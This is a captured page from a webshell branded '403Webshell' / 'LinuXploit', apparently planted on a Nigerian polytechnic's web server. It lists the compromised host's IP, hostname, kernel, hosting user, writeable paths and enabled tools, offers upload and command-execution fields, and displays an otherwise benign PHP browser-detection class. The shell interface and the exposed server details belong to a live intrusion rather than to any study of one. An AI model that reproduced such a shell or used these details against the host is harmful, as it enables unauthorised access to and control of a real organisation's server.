403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.17.158
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/.trash/iphone/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/.trash/iphone/class/browser_info.php
<?php
class Browser
{
    var $props  = array("Version" => "0.0.0",
                    "Name" => "unknown",
                    "Agent" => "unknown") ;

    function Browser($UA)
    {
        $browsers = array("firefox", "msie", "opera", "chrome", "safari",
                            "mozilla", "seamonkey",    "konqueror", "netscape",
                            "gecko", "navigator", "mosaic", "lynx", "amaya",
                            "omniweb", "avant", "camino", "flock", "aol");

        $this->Agent = strtolower($UA);
        foreach($browsers as $browser)
        {
            if (preg_match("#($browser)[/ ]?([0-9.]*)#", $this->Agent, $match))
            {
                $this->Name = $match[1] ;
                $this->Version = $match[2] ;
                break ;
            }
        }
    }

    function Get($name)
    {
        if (!array_key_exists($name, $this->props))
        {
          return "NA";
        }
        return $this->props[$name] ;
    }

    function Set($name, $val)
    {
        if (array_key_exists($name, $this->props))
        {
        $this->props[$name] = $val ;        
        }
    }

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit